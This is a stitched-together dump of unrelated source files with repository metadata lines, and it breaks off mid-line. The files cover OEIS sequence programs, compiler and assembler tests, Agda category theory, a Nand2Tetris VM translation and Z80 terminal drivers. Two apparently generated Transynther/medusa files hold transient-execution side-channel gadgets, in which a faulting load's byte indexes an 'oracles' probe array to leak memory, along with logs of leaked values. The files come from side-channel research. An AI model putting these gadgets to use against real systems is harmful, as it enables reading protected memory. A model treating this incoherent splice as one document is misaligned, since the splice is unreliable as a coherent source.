SECTION code_fp_math32 PUBLIC hypot_callee EXTERN cm32_sccz80_hypot_callee defc hypot_callee = cm32_sccz80_hypot_callee ; SDCC bridge for Classic IF __CLASSIC PUBLIC _hypot_callee defc _hypot_callee = hypot_callee ENDIF
programs/oeis/260/A260181.asm
karttu/loda
0
88371
<reponame>karttu/loda ; A260181: Numbers whose last digit is prime. ; 2,3,5,7,12,13,15,17,22,23,25,27,32,33,35,37,42,43,45,47,52,53,55,57,62,63,65,67,72,73,75,77,82,83,85,87,92,93,95,97,102,103,105,107,112,113,115,117,122,123,125,127,132,133,135,137,142,143,145,147,152,153,155,157,162,163,165,167,172,173,175,177,182,183,185,187,192,193,195,197,202,203,205,207,212,213,215,217,222,223,225,227,232,233,235,237,242,243,245,247,252,253,255,257,262,263,265,267,272,273,275,277,282,283,285,287,292,293,295,297,302,303,305,307,312,313,315,317,322,323,325,327,332,333,335,337,342,343,345,347,352,353,355,357,362,363,365,367,372,373,375,377,382,383,385,387,392,393,395,397,402,403,405,407,412,413,415,417,422,423,425,427,432,433,435,437,442,443,445,447,452,453,455,457,462,463,465,467,472,473,475,477,482,483,485,487,492,493,495,497,502,503,505,507,512,513,515,517,522,523,525,527,532,533,535,537,542,543,545,547,552,553,555,557,562,563,565,567,572,573,575,577,582,583,585,587,592,593,595,597,602,603,605,607,612,613,615,617,622,623 add $0,5 lpb $0,1 trn $0,2 trn $1,4 mov $2,0 add $2,$0 trn $0,2 add $1,5 add $2,4 trn $3,$0 add $3,1 add $3,$2 mov $2,4 lpe mov $0,$1 sub $0,$2 sub $1,$1 sub $3,$0 add $1,$3 sub $1,9
tests/inline-lisp.asm
SvenMichaelKlose/bender
2
170096
@nil @(progn (format t "~LPrinting something from inlined Lisp expression.~%") (asm "jmp $1234")) @(progn (defmacro test-asm-macro () '(asm "lda #0 tax tay" "txs")) nil) @(test-asm-macro)
CpuA32/TestData/switch.asm
robertmuth/Cwerg
171
18279
############################################################ # CodeGen exit ############################################################ # REGSTATS exit glo: 0 0 loc: 0 1 # glo_lac [] # glo_not _lac [] # sig: IN: [U32] -> OUT: [] stk_size:0 .fun exit 16 # live-out sp] .bbl start 4 str_imm_sub_pre sp 4 r7 mov_imm r7 1 svc 0 ldr_imm_add_post r7 sp 4 bx lr .endfun ############################################################ # CodeGen putchar ############################################################ # REGSTATS putchar glo: 0 0 loc: 0 2 # glo_lac [] # glo_not_lac [] # sig: IN: [U8] -> OUT: [] stk_size:16 .fun putchar 16 sub_imm sp sp 16 # live-out sp] .bbl start 4 mov_regimm r1 r0 lsl 0 mov_regimm r0 sp lsl 0 strb_imm_add sp 0 r1 mov_imm r2 1 mov_regimm r1 r0 lsl 0 mov_imm r0 1 str_imm_sub_pre sp 4 r7 mov_imm r7 4 svc 0 ldr_imm_add_post r7 sp 4 add_imm sp sp 16 bx lr .endfun ############################################################ # CodeGen writeln ############################################################ # REGSTATS writeln glo: 0 0 loc: 0 2 # glo_lac [] # glo_not_lac [] # sig: IN: [A32 U32] -> OUT: [] stk_size:0 .fun writeln 16 stmdb_update sp reglist:0x4000 # live-out sp] .bbl start 4 mov_regimm r2 r1 lsl 0 mov_regimm r1 r0 lsl 0 mov_imm r0 1 str_imm_sub_pre sp 4 r7 mov_imm r7 4 svc 0 ldr_imm_add_post r7 sp 4 mov_imm r0 10 bl expr:call:putchar ldmia_update reglist:0x8000 sp .endfun ############################################################ # CodeGen print_num ############################################################ # REGSTATS print_num glo: 1 2 loc: 0 3 # glo_lac ['rem'] # glo_not_lac ['div', 'sp'] # sig: IN: [U32] -> OUT: [] stk_size:0 .fun print_num 16 stmdb_update sp reglist:0x4040 # live-out div rem sp] .bbl start 4 mov_regimm r1 r0 lsl 0 mov_imm r0 10 udiv r6 r1 r0 mov_imm r0 10 mul r6 r6 r0 sub_regimm r6 r1 r6 lsl 0 mov_imm r0 10 udiv lr r1 r0 cmp_imm lr 0 b eq expr:jump24:skip # live-out rem sp] .bbl ddd 4 mov_regimm r0 lr lsl 0 bl expr:call:print_num # live-out sp] .bbl skip 4 add_imm r6 r6 0x30 mov_regimm r0 r6 lsl 0 bl expr:call:putchar ldmia_update reglist:0x8040 sp .endfun ############################################################ # CodeGen print_num_ln ############################################################ # REGSTATS print_num_ln glo: 0 0 loc: 0 1 # glo_lac [] # glo_not_lac [] # sig: IN: [U32] -> OUT: [] stk_size:0 .fun print_num_ln 16 stmdb_update sp reglist:0x4000 # live-out sp] .bbl start 4 bl expr:call:print_num mov_imm r0 10 bl expr:call:putchar ldmia_update reglist:0x8000 sp .endfun ############################################################ # CodeGen _start ############################################################ # REGSTATS _start glo: 1 1 loc: 0 1 # glo_lac ['i'] # glo_not_lac ['sp'] # sig: IN: [] -> OUT: [] stk_size:0 .fun _start 16 .mem switch_tab 4 rodata .addr.bbl 4 labelD .addr.bbl 4 labelA .addr.bbl 4 labelB .addr.bbl 4 labelD .addr.bbl 4 labelC .endmem stmdb_update sp reglist:0x4040 # live-out i sp] .bbl start 4 mov_imm r6 0 # live-out i sp] .bbl loop 4 movw r0 expr:movw_abs_nc:switch_tab movt r0 expr:movt_abs:switch_tab ldr_reg_add pc r0 r6 lsl 2 # live-out i sp] .bbl labelA 4 mov_imm r0 0x41 bl expr:call:putchar mov_imm r0 10 bl expr:call:putchar b expr:jump24:tail # live-out i sp] .bbl labelB 4 mov_imm r0 0x42 bl expr:call:putchar mov_imm r0 10 bl expr:call:putchar b expr:jump24:tail # live-out i sp] .bbl labelC 4 mov_imm r0 0x43 bl expr:call:putchar mov_imm r0 10 bl expr:call:putchar b expr:jump24:tail # live-out i sp] .bbl labelD 4 mov_imm r0 0x44 bl expr:call:putchar mov_imm r0 10 bl expr:call:putchar # live-out i sp] .bbl tail 4 add_imm r6 r6 1 cmp_imm r6 5 b cc expr:jump24:loop # live-out sp] .bbl tail_1 4 mov_imm r0 0 bl expr:call:exit ldmia_update reglist:0x8040 sp .endfun # STATS: # canonicalized: 0 # const_fold: 0 # const_prop: 14 # dropped_regs: 8 # ls_st_simplify: 1 # move_elim: 0 # strength_red: 1 # useless: 0
oeis/037/A037547.asm
neoneye/loda-programs
11
90152
; A037547: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 1,2,2. ; 1,8,50,301,1808,10850,65101,390608,2343650,14061901,84371408,506228450,3037370701,18224224208,109345345250,656072071501,3936432429008,23618594574050,141711567444301,850269404665808,5101616427994850 seq $0,33133 ; Base-6 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,0. mul $0,100 div $0,84
Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_21829_1417.asm
ljhsiun2/medusa
9
171104
<filename>Transynther/x86/_processed/NC/_zr_/i7-8650U_0xd2_notsx.log_21829_1417.asm .global s_prepare_buffers s_prepare_buffers: push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x179c1, %rbp nop nop nop nop nop dec %rdx movups (%rbp), %xmm6 vpextrq $1, %xmm6, %r9 add %rdx, %rdx lea addresses_UC_ht+0x145bd, %rsi lea addresses_WT_ht+0x4141, %rdi add %rax, %rax mov $83, %rcx rep movsl nop nop add $54978, %rdx lea addresses_WT_ht+0x4641, %rbp nop add $31033, %rdx and $0xffffffffffffffc0, %rbp vmovaps (%rbp), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rsi add $25893, %r9 lea addresses_WT_ht+0xdd41, %rsi lea addresses_A_ht+0xdeb1, %rdi nop nop nop nop sub $14926, %rax mov $57, %rcx rep movsq nop nop dec %rax lea addresses_A_ht+0x17e59, %r9 nop nop nop nop cmp $52153, %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm4 movups %xmm4, (%r9) nop nop nop xor %rax, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbp push %rdi // Faulty Load mov $0x7f82400000000941, %rdi nop nop nop nop sub $20355, %r12 mov (%rdi), %r14d lea oracles, %rdi and $0xff, %r14 shlq $12, %r14 mov (%rdi,%r14,1), %r14 pop %rdi pop %rbp pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
src/Categories/Category/Construction/EilenbergMoore.agda
MirceaS/agda-categories
0
3873
<reponame>MirceaS/agda-categories<filename>src/Categories/Category/Construction/EilenbergMoore.agda {-# OPTIONS --without-K --safe #-} open import Categories.Category open import Categories.Monad module Categories.Category.Construction.EilenbergMoore {o ℓ e} {C : Category o ℓ e} (M : Monad C) where open import Level open import Categories.Morphism.Reasoning C private module C = Category C module M = Monad M open C open M.F open HomReasoning record Module : Set (o ⊔ ℓ ⊔ e) where field A : Obj action : F₀ A ⇒ A commute : action ∘ F₁ action ≈ action ∘ M.μ.η A identity : action ∘ M.η.η A ≈ C.id record Module⇒ (X Y : Module) : Set (ℓ ⊔ e) where private module X = Module X module Y = Module Y field arr : X.A ⇒ Y.A commute : arr ∘ X.action ≈ Y.action ∘ F₁ arr EilenbergMoore : Category (o ⊔ ℓ ⊔ e) (ℓ ⊔ e) e EilenbergMoore = record { Obj = Module ; _⇒_ = Module⇒ ; _≈_ = λ f g → Module⇒.arr f ≈ Module⇒.arr g ; id = record { arr = C.id ; commute = id-comm-sym ○ ∘-resp-≈ʳ (⟺ identity) } ; _∘_ = compose ; assoc = assoc ; sym-assoc = sym-assoc ; identityˡ = identityˡ ; identityʳ = identityʳ ; identity² = identity² ; equiv = record { refl = refl ; sym = sym ; trans = trans } ; ∘-resp-≈ = ∘-resp-≈ } where compose : ∀ {X Y Z} → Module⇒ Y Z → Module⇒ X Y → Module⇒ X Z compose {X} {Y} {Z} f g = record { arr = f.arr ∘ g.arr ; commute = begin (f.arr ∘ g.arr) ∘ Module.action X ≈⟨ pullʳ g.commute ⟩ f.arr ∘ Module.action Y ∘ F₁ g.arr ≈⟨ pullˡ f.commute ⟩ (Module.action Z ∘ F₁ f.arr) ∘ F₁ g.arr ≈˘⟨ pushʳ homomorphism ⟩ Module.action Z ∘ F₁ (f.arr ∘ g.arr) ∎ } where module f = Module⇒ f module g = Module⇒ g
tests/bank_bits/2.asm
NullMember/customasm
414
15648
<filename>tests/bank_bits/2.asm<gh_stars>100-1000 #bankdef bits8 { #bits 8 #addr 0x0 #size 0x8 #outp 0x0 } #bankdef bits16 { #bits 16 #addr 0x0 #size 0x8 #outp 8 * 0x8 } #bank bits8 #d8 -1 #res 1 #d8 -1 #bank bits16 #d16 -1 #res 1 #d16 -1 #bank bits8 #res 1 #d8 -1 ; = 0xff00ff00ff000000_ffff0000ffff
oeis/028/A028994.asm
neoneye/loda-programs
11
9612
; A028994: Even 10-gonal (or decagonal) numbers. ; 0,10,52,126,232,370,540,742,976,1242,1540,1870,2232,2626,3052,3510,4000,4522,5076,5662,6280,6930,7612,8326,9072,9850,10660,11502,12376,13282,14220,15190,16192,17226,18292,19390,20520,21682,22876,24102,25360,26650,27972,29326,30712,32130,33580,35062,36576,38122,39700,41310,42952,44626,46332,48070,49840,51642,53476,55342,57240,59170,61132,63126,65152,67210,69300,71422,73576,75762,77980,80230,82512,84826,87172,89550,91960,94402,96876,99382,101920,104490,107092,109726,112392,115090,117820,120582 mov $1,$0 mul $1,16 sub $1,6 mul $0,$1
Transynther/x86/_processed/NONE/_ht_zr_/i7-7700_9_0x48.log_21829_2287.asm
ljhsiun2/medusa
9
174520
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0xe96a, %rdx nop nop nop nop xor $31938, %rbx mov (%rdx), %esi nop nop nop nop nop and %r10, %r10 lea addresses_WC_ht+0xcc0a, %rsi lea addresses_UC_ht+0x18f8e, %rdi nop sub $57416, %r14 mov $12, %rcx rep movsl nop nop nop nop dec %rbx lea addresses_WT_ht+0x29aa, %rsi nop nop nop nop and $20664, %rdi movb (%rsi), %cl sub $47907, %rcx lea addresses_WC_ht+0xe316, %rsi nop nop nop nop sub $47503, %rcx vmovups (%rsi), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %rdi nop nop nop xor $10545, %r14 lea addresses_UC_ht+0x1ce29, %rsi lea addresses_WC_ht+0x11eee, %rdi nop nop nop nop nop and %rbx, %rbx mov $10, %rcx rep movsl nop nop xor $51196, %rbx lea addresses_normal_ht+0xb056, %rdi sub $40903, %r14 mov $0x6162636465666768, %r10 movq %r10, %xmm7 vmovups %ymm7, (%rdi) nop nop nop sub %rdx, %rdx lea addresses_UC_ht+0x8922, %rdx nop dec %rbx mov $0x6162636465666768, %rcx movq %rcx, (%rdx) nop nop sub %r10, %r10 lea addresses_D_ht+0x166b6, %rsi lea addresses_WT_ht+0x6346, %rdi nop nop nop nop and $8864, %r14 mov $99, %rcx rep movsq nop nop nop nop nop add %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %rbx push %rdx push %rsi // Faulty Load lea addresses_A+0x446a, %rsi nop nop xor $23485, %r12 vmovups (%rsi), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rdx lea oracles, %r15 and $0xff, %rdx shlq $12, %rdx mov (%r15,%rdx,1), %rdx pop %rsi pop %rdx pop %rbx pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'48': 268, '46': 13197, '00': 8364} 46 46 46 00 00 46 00 46 00 46 46 00 46 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 00 46 46 46 00 46 46 00 46 00 46 46 00 46 48 46 46 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 00 46 46 00 46 46 46 00 46 00 46 46 00 46 00 46 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 00 46 00 46 46 00 46 00 46 46 00 46 00 46 46 00 46 46 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 48 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 46 00 46 46 00 46 46 46 00 46 00 46 46 46 00 46 46 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 46 48 00 46 00 46 46 46 00 46 46 00 46 00 46 46 00 00 00 46 46 00 46 00 46 46 00 46 00 46 00 46 46 46 46 46 00 46 00 00 48 46 00 46 00 46 00 46 46 00 46 48 46 46 46 46 00 46 00 46 00 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 00 46 46 00 46 00 46 46 00 46 00 00 46 00 46 00 46 46 00 46 00 46 46 00 46 46 00 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 46 46 00 46 46 00 46 00 46 00 46 46 46 46 00 46 00 46 46 00 46 00 46 46 00 46 46 00 46 00 46 46 00 46 00 46 46 00 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 00 46 46 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 00 46 46 00 46 46 00 46 00 46 46 46 00 46 00 46 46 46 00 46 00 46 00 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 00 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 00 46 00 46 00 46 00 46 00 46 46 00 46 00 46 46 00 46 00 46 46 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 48 00 46 00 46 46 46 00 46 48 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 00 00 46 46 00 46 00 46 00 46 00 46 46 00 46 48 00 46 00 46 46 00 00 00 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 46 00 46 00 46 00 46 46 00 46 00 46 00 46 00 46 48 00 46 00 46 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 00 46 00 46 46 00 46 00 46 00 46 46 00 46 00 46 46 00 46 00 46 00 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 00 46 46 00 46 48 46 00 46 00 46 00 46 46 00 46 46 46 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 46 00 46 46 00 46 00 46 00 46 46 00 46 48 00 46 00 46 46 00 46 46 00 46 00 46 00 46 46 00 46 00 46 46 00 46 00 46 00 00 46 46 00 46 46 00 46 00 46 00 00 46 46 46 00 46 46 00 46 00 46 46 00 46 46 00 46 00 46 46 46 00 46 46 00 46 46 00 46 00 46 46 00 46 00 00 46 46 00 46 00 46 46 00 46 46 00 46 48 00 46 00 46 46 00 46 00 46 46 00 46 00 46 46 00 46 00 46 00 46 46 00 46 46 00 46 00 46 46 00 46 00 46 00 46 00 46 46 00 46 00 46 00 46 46 00 46 00 46 46 46 00 46 00 46 46 00 46 00 46 00 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 00 46 00 46 46 00 46 00 46 00 46 46 00 46 46 00 46 46 00 46 00 46 00 */
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_fzx_tty_z88dk/zx_01_output_fzx_tty_z88dk_18_flash.asm
jpoikela/z88dk
640
14998
SECTION code_driver SECTION code_driver_terminal_output PUBLIC zx_01_output_fzx_tty_z88dk_18_flash zx_01_output_fzx_tty_z88dk_18_flash: ; change flash bit of foreground colour ; de = parameters * ld a,(de) and $01 rrca ld e,a ld a,(ix+52) ; a = foreground colour and $7f or e ld (ix+52),a ret
programs/oeis/328/A328005.asm
neoneye/loda
22
1209
<gh_stars>10-100 ; A328005: Number of distinct coefficients in functional composition of 1 + x + ... + x^(n-1) with itself. ; 0,1,2,4,8,13,19,25,33,41,51,61,73,85,99,113,129,145,163,181,201,221,243,265,289,313,339,365,393,421,451,481,513,545,579,613,649,685,723,761,801,841,883,925,969,1013,1059,1105,1153,1201,1251,1301,1353,1405,1459 pow $0,2 sub $0,2 div $0,2 mov $1,$0 add $0,6 mov $2,$1 lpb $2 add $0,1 mod $2,8 lpe sub $0,5
test/add.asm
CrackerCat/AssemblyLine
0
161450
<reponame>CrackerCat/AssemblyLine<filename>test/add.asm SECTION .text GLOBAL test test: add al, 0x0 add ax, 0xe1 add eax, 0xe11 add sil, 0x0 add si, 0xe1 add esi, 0xe11 add rax, 0xfffee12 add rax, 0xff6ee12 add rax, 0xf66ee12 add rax, 0x666ee12 add rax, 0x6666ee12 add rax, -0x1 add rax, -0xfffee12 add rax, -0xff6ee12 add rax, -0xf66ee12 add rax, -0x666ee12 add rax, -0x6666ee12 add rbp, -0xfffee12 add rbp, 0xfffee12 add rbp, 0xff6ee12 add rbp, 0xf66ee12 add rbp, 0x666ee12 add rbp, 0x6666ee12 add rbp, -0xf add rbp, -0xe add rbp, -0xd add rbp, -0x7 add rbp, -0x4 add rbp, -0x3 add rbp, -0x2 add rbp, -0xff add rbp, -0xef add rbp, -0xdf add rbp, -0xcf add rbp, -0xbf add rbp, -0xaf add rbp, -0x9f add rbp, -0x8f add rbp, -0x7f add rbp, -0x3e add rbp, -0x6f add rbp, -0x5f add rbp, -0x4f add rbp, -0x1f add rbp, -0xfa add rbp, -0xf9 add rbp, -0xf8 add rbp, -0xf7 add rbp, -0xf6 add rbp, -0xf5 add rbp, -0xf4 add rbp, -0xf3 add rbp, -0xf2 add rbp, -0xf1 add rbp, -0xf66 add rbp, -0x666ee add rbp, -0x6666ee12 add r13, -0xfffee12 add r13, 0xfffee12 add r13, 0xff6ee12 add r13, 0xf66ee12 add r13, 0x666ee12 add r13, 0x6666ee12 add r13, -0x1 add r13, -0xfffee12 add r13, -0xff6ee12 add r13, -0xf66ee12 add r13, -0x666ee12 add r13, -0x6666ee12 add rax, 0x12 add rax, 0xe12 add rax, 0x66ee12 add rax, 0x66ee12 add rax, 0x6ee12 add sp, 0x34ef add r8w, 0x1 add rax, [ rbx ] add rax, [ rbx + 0x10 ] add rax, 0x0 add rax, 0x0 ; with a comment add r12, r14 add r12, rbx add r12, [ rsp + 0x10 ] add rax, 0xfff add rax, r15 add rax, rbp add rbp, r12 add rbp, r8 add rbp, r9 add rbx, r9 add rbx, rdi add rdi, r10 add rdx, r14 add rsp, 0x138 add rsp, 0x48 add rsp, 0x50 add rsp, 0x80 add dword [ebp], -0xf add dword [ebp], -0xe add dword [ebp], -0xd add dword [ebp], -0x7 add dword [ebp], -0x4 add dword [ebp], -0x3 add dword [ebp], -0x2 add dword [ebp], -0xff add dword [ebp], 0xf add dword [ebp], 0xe add dword [ebp], 0xd add dword [ebp], 0x7 add dword [ebp], 0x4 add dword [ebp], 0x3 add dword [ebp], 0x2 add dword [ebp], 0xff add eax, dword [rsp] add eax, dword [rsp + 0x40] add eax, [rsp + 0x40] add eax, dword [rbp] add eax, ebx
test-files/fat_mod_B.asm
bandreghetti/SB_2018-2
0
160297
MOD_B: BEGIN SECTION TEXT FAT: EXTERN N: EXTERN PUBLIC MOD_B STORE AUX MULT N STORE N LOAD AUX JMP FAT SECTION BSS AUX: SPACE END
programs/oeis/052/A052521.asm
karttu/loda
0
100529
<filename>programs/oeis/052/A052521.asm ; A052521: Number of pairs of sequences of cardinality at least 3. ; 0,0,0,0,0,0,720,10080,120960,1451520,18144000,239500800,3353011200,49816166400,784604620800,13076743680000,230150688768000,4268249137152000 mov $1,$0 fac $0 sub $1,5 mul $1,$0
week_07/MemoryAccess/BasicTest/BasicTest.asm
DaviNakamuraCardoso/nand2tetris
0
93857
// // This file is part of www.nand2tetris.org // // and the book "The Elements of Computing Systems" // // by <NAME>, MIT Press. // // File name: projects/07/MemoryAccess/BasicTest/BasicTest.vm // // // Executes pop and push commands using the virtual memory segments. // push constant 10 @10 D=A @SP A=M M=D @SP M=M+1 // pop local 0 @0 D=A @LCL D=M+D @temp M=D @SP M=M-1 A=M D=M @temp A=M M=D // push constant 21 @21 D=A @SP A=M M=D @SP M=M+1 // push constant 22 @22 D=A @SP A=M M=D @SP M=M+1 // pop argument 2 @2 D=A @ARG D=M+D @temp M=D @SP M=M-1 A=M D=M @temp A=M M=D // pop argument 1 @1 D=A @ARG D=M+D @temp M=D @SP M=M-1 A=M D=M @temp A=M M=D // push constant 36 @36 D=A @SP A=M M=D @SP M=M+1 // pop this 6 @6 D=A @THIS D=M+D @temp M=D @SP M=M-1 A=M D=M @temp A=M M=D // push constant 42 @42 D=A @SP A=M M=D @SP M=M+1 // push constant 45 @45 D=A @SP A=M M=D @SP M=M+1 // pop that 5 @5 D=A @THAT D=M+D @temp M=D @SP M=M-1 A=M D=M @temp A=M M=D // pop that 2 @2 D=A @THAT D=M+D @temp M=D @SP M=M-1 A=M D=M @temp A=M M=D // push constant 510 @510 D=A @SP A=M M=D @SP M=M+1 // pop 